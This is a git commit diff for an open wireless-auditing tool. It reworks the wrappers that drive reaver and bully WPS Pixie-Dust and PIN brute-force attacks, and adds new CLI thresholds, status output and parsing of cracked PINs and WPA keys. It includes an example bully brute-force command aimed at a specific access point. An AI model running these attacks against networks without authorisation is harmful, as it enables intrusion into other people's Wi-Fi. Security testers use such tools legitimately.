2.1.3: Better WPS attack messaging. Leave device in Monitor Mode.

Unrelated to WPS:
* Do not take device out of monitor mode when finished (informs user)
* Do not restart NetworkManager when finished (informs user)

Changes to CLI switches:
* --wps-time X: Total time for WPS attack to complete
* --wps-timeouts X: Max number of timeouts before failing
* --wps-fails X: Max number of WPSFails before failing
* Removed unused WPS switches.
* Improved --help messaging for WPS switches.
* Fail/Timeout threshold default is 100

Bully now outputs useful information:
* Current PIN + status
* Time remaining
* Number of Timeout messages
* Number of "WPSFail" messages
* If AP is locked

Better reaver output.
* Looks more like Bully's output.
* Timer shows time remaining for attack.
* Mentions "Running pixiewps" during "M2 message" step.
* pixiewps failure looks like this: "Reaver says: 'WPS pin not found'"
* Counts Timeouts and "WPS Transaction Failure" (WPSFail)

For #28
This commit is contained in:
derv82
2018-04-07 06:22:16 -04:00
parent 20ea673a3d
commit 90c99b11f1
5 changed files with 420 additions and 290 deletions

View File

@@ -297,56 +297,55 @@ class Arguments(object):
dest='wps_filter', dest='wps_filter',
help=Color.s('Filter to display only WPS-enabled networks')) help=Color.s('Filter to display only WPS-enabled networks'))
wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter') wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true', dest='wps_filter')
wps.add_argument('--bully', wps.add_argument('--bully',
action='store_true', action='store_true',
dest='use_bully', dest='use_bully',
help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})')) help=Color.s('Use {C}bully{W} instead of {C}reaver{W} for WPS attacks (default: {G}reaver{W})'))
# Alias
wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true', dest='use_bully')
wps.add_argument('--no-wps', wps.add_argument('--no-wps',
action='store_true', action='store_true',
dest='no_wps', dest='no_wps',
help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{O}NEVER{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
wps.add_argument('--wps-only', wps.add_argument('--wps-only',
action='store_true', action='store_true',
dest='wps_only', dest='wps_only',
help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})')) help=Color.s('{G}ALWAYS{W} use WPS attacks (Pixie-Dust) on non-WEP networks (default: {G}off{W})'))
# Alias
wps.add_argument('--pixie', help=argparse.SUPPRESS, action='store_true', dest='wps_only')
# Same as --wps-only # Time limit on entire attack.
wps.add_argument('--pixie', wps.add_argument('--wps-time',
help=argparse.SUPPRESS,
action='store_true',
dest='wps_only')
wps.add_argument('--pixiet',
action='store', action='store',
dest='wps_pixie_timeout', dest='wps_pixie_timeout',
metavar='[seconds]', metavar='[sec]',
type=int, type=int,
help=self._verbose('Time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout)) help=self._verbose('Total time to wait before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
wps.add_argument('--pixiest', # Alias
action='store', wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wps_pixie_timeout', type=int)
dest='wps_pixie_step_timeout',
metavar='[seconds]', # Maximum number of "failures" (WPSFail)
type=int, wps.add_argument('--wps-fails',
help=self._verbose('Time to wait for a step to progress before failing PixieDust attack (default: {G}%d sec{W})' % self.config.wps_pixie_step_timeout))
wps.add_argument('--wpsmf',
action='store', action='store',
dest='wps_fail_threshold', dest='wps_fail_threshold',
metavar='[fails]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of WPS Failures before failing attack (default: {G}%d{W})' % self.config.wps_fail_threshold)) help=self._verbose('Maximum number of WPSFail/NoAssoc errors before failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
wps.add_argument('-wpsmf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int) # Alias
wps.add_argument('--wpsmt', wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store', dest='wps_fail_threshold', type=int)
# Maximum number of "timeouts"
wps.add_argument('--wps-timeouts',
action='store', action='store',
dest='wps_timeout_threshold', dest='wps_timeout_threshold',
metavar='[timeouts]', metavar='[num]',
type=int, type=int,
help=self._verbose('Maximum number of Timeouts before stopping (default: {G}%d{W})' % self.config.wps_timeout_threshold)) help=self._verbose('Maximum number of Timeouts before failing (default: {G}%d{W})' % self.config.wps_timeout_threshold))
wps.add_argument('-wpsmt', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int) # Alias
wps.add_argument('--ignore-ratelimit', wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store', dest='wps_timeout_threshold', type=int)
action='store_false',
dest='wps_skip_rate_limit',
help=Color.s('Ignores attack if WPS is rate-limited (default: {G}on{W})'))
wps.add_argument('-ignore-ratelimit', help=argparse.SUPPRESS, action='store_false', dest='wps_skip_rate_limit')
def _add_command_args(self, commands): def _add_command_args(self, commands):

View File

@@ -29,19 +29,18 @@ class AttackWPS(Attack):
bully = Bully(self.target) bully = Bully(self.target)
bully.run() bully.run()
bully.stop() bully.stop()
if bully.crack_result is not None: self.crack_result = bully.crack_result
self.crack_result = bully.crack_result self.success = self.crack_result is not None
self.success = True return self.success
return True
else: else:
reaver = Reaver(self.target) reaver = Reaver(self.target)
if reaver.is_pixiedust_supported(): if reaver.is_pixiedust_supported():
# Reaver: Pixie-dust # Reaver: Pixie-dust
reaver = Reaver(self.target) reaver = Reaver(self.target)
if reaver.run_pixiedust_attack(): reaver.run()
self.crack_result = reaver.crack_result self.crack_result = reaver.crack_result
self.success = True self.success = self.crack_result is not None
return True return self.success
else: else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}") Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")

View File

@@ -12,7 +12,7 @@ class Configuration(object):
initialized = False # Flag indicating config has been initialized initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory temp_dir = None # Temporary directory
version = '2.1.2' version = '2.1.3'
@staticmethod @staticmethod
def initialize(load_interface=True): def initialize(load_interface=True):
@@ -88,10 +88,8 @@ class Configuration(object):
Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks Configuration.wps_only = False # ONLY use WPS attacks on non-WEP networks
Configuration.use_bully = False # Use bully instead of reaver Configuration.use_bully = False # Use bully instead of reaver
Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before WPS Pixie attack fails
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails Configuration.wps_fail_threshold = 100 # Max number of failures
Configuration.wps_fail_threshold = 30 # Max number of failures Configuration.wps_timeout_threshold = 100 # Max number of timeouts
Configuration.wps_timeout_threshold = 30 # Max number of timeouts
Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
# Commands # Commands
Configuration.show_cracked = False Configuration.show_cracked = False
@@ -214,31 +212,25 @@ class Configuration(object):
# WPS # WPS
if args.wps_filter: if args.wps_filter:
Configuration.wps_filter = args.wps_filter Configuration.wps_filter = args.wps_filter
if args.wps_only: if args.wps_only:
Configuration.wps_only = True Configuration.wps_only = True
Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)') Color.pl('{+} {C}option:{W} will *only* attack non-WEP networks with {G}WPS attacks{W} (no handshake capture)')
if args.no_wps: if args.no_wps:
Configuration.no_wps = args.no_wps Configuration.no_wps = args.no_wps
Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets') Color.pl('{+} {C}option:{W} will {O}never{W} use {C}WPS attacks{W} (Pixie-Dust/PIN) on targets')
if args.use_bully: if args.use_bully:
Configuration.use_bully = args.use_bully Configuration.use_bully = args.use_bully
Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks') Color.pl('{+} {C}option:{W} use {C}bully{W} instead of {C}reaver{W} for WPS Attacks')
if args.wps_pixie_timeout: if args.wps_pixie_timeout:
Configuration.wps_pixie_timeout = args.wps_pixie_timeout Configuration.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) Color.pl('{+} {C}option:{W} WPS pixie-dust attack will fail after {O}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_pixie_step_timeout:
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
if args.wps_fail_threshold: if args.wps_fail_threshold:
Configuration.wps_fail_threshold = args.wps_fail_threshold Configuration.wps_fail_threshold = args.wps_fail_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d failures{W}' % args.wps_fail_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d failures{W}' % args.wps_fail_threshold)
if args.wps_timeout_threshold: if args.wps_timeout_threshold:
Configuration.wps_timeout_threshold = args.wps_timeout_threshold Configuration.wps_timeout_threshold = args.wps_timeout_threshold
Color.pl('{+} {C}option:{W} will stop WPS attack after {G}%d timeouts{W}' % args.wps_timeout_threshold) Color.pl('{+} {C}option:{W} will stop WPS attack after {O}%d timeouts{W}' % args.wps_timeout_threshold)
if args.wps_skip_rate_limit == False:
Configuration.wps_skip_rate_limit = False
Color.pl('{+} {C}option:{W} will {G}continue{W} WPS attacks when rate-limited')
# Adjust encryption filter # Adjust encryption filter
Configuration.encryption_filter = [] Configuration.encryption_filter = []
@@ -321,11 +313,14 @@ class Configuration(object):
Macchanger.reset_if_changed() Macchanger.reset_if_changed()
from .tools.airmon import Airmon from .tools.airmon import Airmon
if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None:
Airmon.stop(Configuration.interface) Color.pl('{!} Leaving interface {C}%s{W} in Monitor Mode.' % Configuration.interface)
Airmon.put_interface_up(Airmon.base_interface) Color.pl('{!} You can disable Monitor Mode when finished ({C}airmon-ng stop %s{W})' % Configuration.interface)
#Airmon.stop(Configuration.interface)
#Airmon.put_interface_up(Airmon.base_interface)
if Airmon.killed_network_manager: if Airmon.killed_network_manager:
Airmon.start_network_manager() Color.pl('{!} You can restart NetworkManager when finished ({C}service network-manager start{W})')
#Airmon.start_network_manager()
exit(code) exit(code)

View File

@@ -15,10 +15,10 @@ from threading import Thread
class Bully(Attack): class Bully(Attack):
def __init__(self, target): def __init__(self, target):
super(Bully, self).__init__(target) super(Bully, self).__init__(target)
self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0 self.total_timeouts = 0
self.pins_attempted = 0 self.total_failures = 0
self.locked = False
self.state = "{O}Waiting for beacon{W}" self.state = "{O}Waiting for beacon{W}"
self.m_state = None
self.start_time = time.time() self.start_time = time.time()
self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
@@ -46,8 +46,6 @@ class Bully(Attack):
self.bully_proc = None self.bully_proc = None
def attack_type(self):
return "Pixie-Dust"
def run(self): def run(self):
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
@@ -55,11 +53,7 @@ class Bully(Attack):
skip_wps=True, skip_wps=True,
output_file_prefix='wps_pin') as airodump: output_file_prefix='wps_pin') as airodump:
# Wait for target # Wait for target
Color.clear_entire_line() self.pattack("Waiting for target to appear...")
Color.pattack("WPS",
self.target,
self.attack_type(),
"Waiting for target to appear...")
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
# Start bully # Start bully
@@ -67,27 +61,42 @@ class Bully(Attack):
stderr=Process.devnull(), stderr=Process.devnull(),
bufsize=0, bufsize=0,
cwd=Configuration.temp()) cwd=Configuration.temp())
# Start bully status thread
t = Thread(target=self.parse_line_thread) t = Thread(target=self.parse_line_thread)
t.daemon = True t.daemon = True
t.start() t.start()
try: try:
while self.bully_proc.poll() is None: while self.bully_proc.poll() is None:
try: try:
self.target = self.wait_for_target(airodump) self.target = self.wait_for_target(airodump)
except Exception as e: except Exception as e:
Color.clear_entire_line() self.pattack('{R}Failed: {O}%s{W}' % e, newline=True)
Color.pattack("WPS",
self.target,
self.attack_type(),
"{R}failed: {O}%s{W}" % e)
Color.pl("")
self.stop() self.stop()
break break
Color.clear_entire_line()
Color.pattack("WPS", # Update status
self.target, self.pattack(self.get_status())
self.attack_type(),
self.get_status()) # Check if entire attack timed out.
if self.running_time() > Configuration.wps_pixie_timeout:
self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % Configuration.wps_pixie_timeout, newline=True)
self.stop()
return
# Check if timeout threshold was breached
if self.total_timeouts >= Configuration.wps_timeout_threshold:
self.pattack('{R}Failed: {O}More than %d timeouts{W}' % Configuration.wps_timeout_threshold, newline=True)
self.stop()
return
# Check if WPSFail threshold was breached
if self.total_failures >= Configuration.wps_fail_threshold:
self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % Configuration.wps_fail_threshold, newline=True)
self.stop()
return
time.sleep(0.5) time.sleep(0.5)
except KeyboardInterrupt as e: except KeyboardInterrupt as e:
self.stop() self.stop()
@@ -97,111 +106,97 @@ class Bully(Attack):
raise e raise e
if self.crack_result is None: if self.crack_result is None:
Color.clear_entire_line() self.pattack("{R}Failed{W}", newline=True)
Color.pattack("WPS",
self.target,
self.attack_type(), def pattack(self, message, newline=False):
"{R}Failed{W}\n") # Print message with attack information.
time_left = Configuration.wps_pixie_timeout - self.running_time()
Color.clear_entire_line()
Color.pattack("WPS",
self.target,
'Pixie-Dust',
'{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
if newline:
Color.pl("")
def running_time(self): def running_time(self):
return int(time.time() - self.start_time) return int(time.time() - self.start_time)
def get_status(self): def get_status(self):
result = self.state main_status = self.state
result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
result += " {G}tries:%d{W}" % self.pins_attempted meta_statuses = []
result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc) if self.total_timeouts > 0:
result += " {R}lockouts:%d{W}" % self.consecutive_lockouts meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
result += ")"
return result if self.total_failures > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_failures)
if self.locked:
meta_statuses.append("{R}Locked{W}")
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_line_thread(self): def parse_line_thread(self):
for line in iter(self.bully_proc.pid.stdout.readline, b""): for line in iter(self.bully_proc.pid.stdout.readline, b""):
if line == "": continue if line == "": continue
line = line.replace("\r", "").replace("\n", "").strip() line = line.replace("\r", "").replace("\n", "").strip()
if self.parse_line(line): break # Cracked
def parse_line(self, line): if Configuration.verbose > 1:
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) Color.pe('\n{P} [bully:stdout] %s' % line)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon: self.state = self.parse_state(line)
# group(1)=ESSID, group(2)=BSSID
self.state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501' self.crack_result = self.parse_crack_result(line)
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
result = "Start" # last_state.group(1)
pin = last_state.group(2)
self.state = "Trying PIN:{C}%s{W}" % pin
# [+] Rx( M5 ) = 'Pin1Bad' Next pin '35565505' if self.crack_result:
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263' break
rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if rx_m:
# group(1)=M3/M5, group(2)=result, group(3)=PIN
self.m_state = rx_m.group(1)
result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
if result in ["Pin1Bad", "Pin2Bad"]:
self.pins_attempted += 1
self.consecutive_lockouts = 0 # Reset lockout count
self.consecutive_timeouts = 0 # Reset timeout count
self.consecutive_noassoc = 0 # Reset timeout count
result = "{G}%s{W}" % result
elif result == "Timeout":
self.consecutive_timeouts += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
self.consecutive_noassoc += 1
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
pin = rx_m.group(3)
self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if lock_out:
sleeping = lock_out.group(1)
self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
self.consecutive_lockouts += 1
# [Pixie-Dust] WPS pin not found
pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if pixie_re:
self.state = "{R}Failed{W}"
# [+] Running pixiewps with the information, wait ... def parse_crack_result(self, line):
pixie_re = re.search(r".*Running pixiewps with the information", line) # Check for line containing PIN and PSK
if pixie_re:
self.state = "{G}Running pixiewps...{W}"
# [*] Pin is '80246213', key is 'password' # [*] Pin is '80246213', key is 'password'
# [*] Pin is '11867722', key is '9a6f7997'
pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
if pin_key_re: if pin_key_re:
self.cracked_pin = pin_key_re.group(1) self.cracked_pin = pin_key_re.group(1)
self.cracked_key = pin_key_re.group(2) self.cracked_key = pin_key_re.group(2)
# PIN : '80246213' ###############
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) # Check for PIN
if pin_re: if self.cracked_pin is None:
self.cracked_pin = pin_re.group(1) # PIN : '80246213'
pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
# [Pixie-Dust] PIN FOUND: 01030365
pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
if pin_re:
self.cracked_pin = pin_re.group(1)
if self.cracked_pin is not None:
# Mention the PIN & that we're not done yet.
self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
self.state = "{G}Finding PSK...{C}"
time.sleep(2)
###########################
# KEY : 'password' # KEY : 'password'
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re: if key_re:
self.cracked_key = key_re.group(1) self.cracked_key = key_re.group(1)
#warn_re = re.search(r"\[\!\]\s*(.*)$", line)
#if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
if not self.crack_result and self.cracked_pin and self.cracked_key: if not self.crack_result and self.cracked_pin and self.cracked_key:
Color.clear_entire_line() self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS( self.crack_result = CrackResultWPS(
self.target.bssid, self.target.bssid,
self.target.essid, self.target.essid,
@@ -209,19 +204,81 @@ class Bully(Attack):
self.cracked_key) self.cracked_key)
Color.pl("") Color.pl("")
self.crack_result.dump() self.crack_result.dump()
return True
else: return self.crack_result
return False
def parse_state(self, line):
state = self.state
# [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
if got_beacon:
# group(1)=ESSID, group(2)=BSSID
state = "Got beacon"
# [+] Last State = 'NoAssoc' Next pin '48855501'
last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
if last_state:
# group(1)=result, group(2)=PIN
pin = last_state.group(2)
state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
# [+] Tx( Auth ) = 'Timeout' Next pin '80241263'
mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
if mx_result_pin:
self.locked = False
# group(1)=M3/M5, group(2)=result, group(3)=PIN
m_state = mx_result_pin.group(1)
result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
pin = mx_result_pin.group(3)
if result == "Timeout":
self.total_timeouts += 1
result = "{O}%s{W}" % result
elif result == "WPSFail":
self.total_failures += 1
result = "{O}%s{W}" % result
elif result == "NoAssoc":
result = "{O}%s{W}" % result
else:
result = "{R}%s{W}" % result
result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
# [!] WPS lockout reported, sleeping for 43 seconds ...
re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
if re_lockout:
self.locked = True
sleeping = re_lockout.group(1)
state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
# [Pixie-Dust] WPS pin not found
re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
if re_pin_not_found:
state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
# [+] Running pixiewps with the information, wait ...
re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
if re_running_pixiewps:
state = "{G}Running pixiewps...{W}"
return state
def stop(self): def stop(self):
if hasattr(self, "pid") and self.pid and self.pid.poll() is None: if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
self.pid.interrupt() self.pid.interrupt()
def __del__(self): def __del__(self):
self.stop() self.stop()
@staticmethod @staticmethod
def get_psk_from_pin(target, pin): def get_psk_from_pin(target, pin):
# Fetches PSK from a Target assuming "pin" is the correct PIN
''' '''
bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
PIN : '01030365' PIN : '01030365'
@@ -229,8 +286,6 @@ class Bully(Attack):
BSSID : '34:21:09:01:92:7c' BSSID : '34:21:09:01:92:7c'
ESSID : 'AirLink89300' ESSID : 'AirLink89300'
''' '''
Color.pl('\n{+} found PIN: {G}%s{W}' % pin)
Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ')
cmd = [ cmd = [
'bully', 'bully',
'--channel', target.channel, '--channel', target.channel,
@@ -247,12 +302,11 @@ class Bully(Attack):
key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
if key_re is not None: if key_re is not None:
psk = key_re.group(1) psk = key_re.group(1)
Color.pl('{W}found PSK: {G}%s{W}' % psk)
return psk return psk
Color.pl('{R}failed{W}')
return None return None
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize() Configuration.initialize()
Configuration.interface = 'wlan0mon' Configuration.interface = 'wlan0mon'

View File

@@ -5,6 +5,7 @@ from ..model.attack import Attack
from ..config import Configuration from ..config import Configuration
from ..util.color import Color from ..util.color import Color
from ..util.process import Process from ..util.process import Process
from ..util.timer import Timer
from ..tools.airodump import Airodump from ..tools.airodump import Airodump
from ..tools.bully import Bully # for PSK retrieval from ..tools.bully import Bully # for PSK retrieval
from ..model.wps_result import CrackResultWPS from ..model.wps_result import CrackResultWPS
@@ -14,155 +15,228 @@ import os, time, re
class Reaver(Attack): class Reaver(Attack):
def __init__(self, target): def __init__(self, target):
super(Reaver, self).__init__(target) super(Reaver, self).__init__(target)
self.success = False
self.start_time = None
self.state = 'Initializing'
self.locked = False
self.total_timeouts = 0
self.total_wpsfails = 0
self.crack_result = None self.crack_result = None
self.output_filename = Configuration.temp('reaver.out')
if os.path.exists(self.output_filename):
os.remove(self.output_filename)
self.output_write = open(self.output_filename, 'a')
self.reaver_cmd = [
'reaver',
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
self.reaver_proc = None
def is_pixiedust_supported(self): def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr() output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output return '--pixie-dust' in output
def run_pixiedust_attack(self): def run(self):
# Write reaver stdout to file. ''' Returns True if attack is successful. '''
self.stdout_file = Configuration.temp('reaver.out') try:
if os.path.exists(self.stdout_file): self._run() # Run-loop
os.remove(self.stdout_file) except Exception as e:
# Failed with error
self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
return self.crack_result is not None
command = [ # Stop reaver if it's still running
'reaver', if self.reaver_proc.poll() is None:
'--interface', Configuration.interface, self.reaver_proc.interrupt()
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None # Clean up open file handle
step = 'initializing' if self.output_write:
time_since_last_step = 0 self.output_write.close()
return self.crack_result is not None
def _run(self):
self.start_time = time.time()
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
skip_wps=True, skip_wps=True,
output_file_prefix='pixie') as airodump: output_file_prefix='pixie') as airodump:
Color.clear_line() # Wait for target
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") self.pattack("Waiting for target to appear...")
self.target = self.wait_for_target(airodump)
while True: # Start reaver
try: self.reaver_proc = Process(self.reaver_cmd,
airodump_target = self.wait_for_target(airodump) stdout=self.output_write,
except Exception as e: stderr=Process.devnull())
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
# Loop while reaver is running
while self.crack_result is None and self.reaver_proc.poll() is None:
# Refresh target information (power)
self.target = self.wait_for_target(airodump)
# Update based on reaver output
stdout = self.get_output()
self.state = self.parse_state(stdout)
self.parse_failure(stdout)
# Print status line
self.pattack(self.get_status())
# Check if we cracked it
self.crack_result = self.parse_crack_result(stdout)
time.sleep(0.5)
# Check if crack result is in output
stdout = self.get_output()
self.crack_result = self.parse_crack_result(stdout)
# Show any failures found
if self.crack_result is None:
self.parse_failure(stdout)
if self.crack_result is None and self.reaver_proc.poll() is not None:
raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
def get_status(self):
main_status = self.state
meta_statuses = []
if self.total_timeouts > 0:
meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
if self.total_wpsfails > 0:
meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
if self.locked:
meta_statuses.append("{R}Locked{W}")
if len(meta_statuses) > 0:
main_status += ' (%s)' % ', '.join(meta_statuses)
return main_status
def parse_crack_result(self, stdout):
if self.crack_result is not None:
return self.crack_result
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None:
# We cracked it.
if psk is not None:
# Reaver provided PSK
self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
else:
self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
# Try to derive PSK from PIN using Bully
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
psk = Bully.get_psk_from_pin(self.target, pin)
if psk is None:
Color.pl("") Color.pl("")
return False self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if pin is not None or reaver.poll() is not None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin is not None:
# We cracked it.
if psk is None:
# Try to derive PSK from PIN using Bully
psk = Bully.get_psk_from_pin(self.target, pin)
bssid = self.target.bssid
Color.clear_entire_line()
if psk is None:
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
else:
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
Color.pl("")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
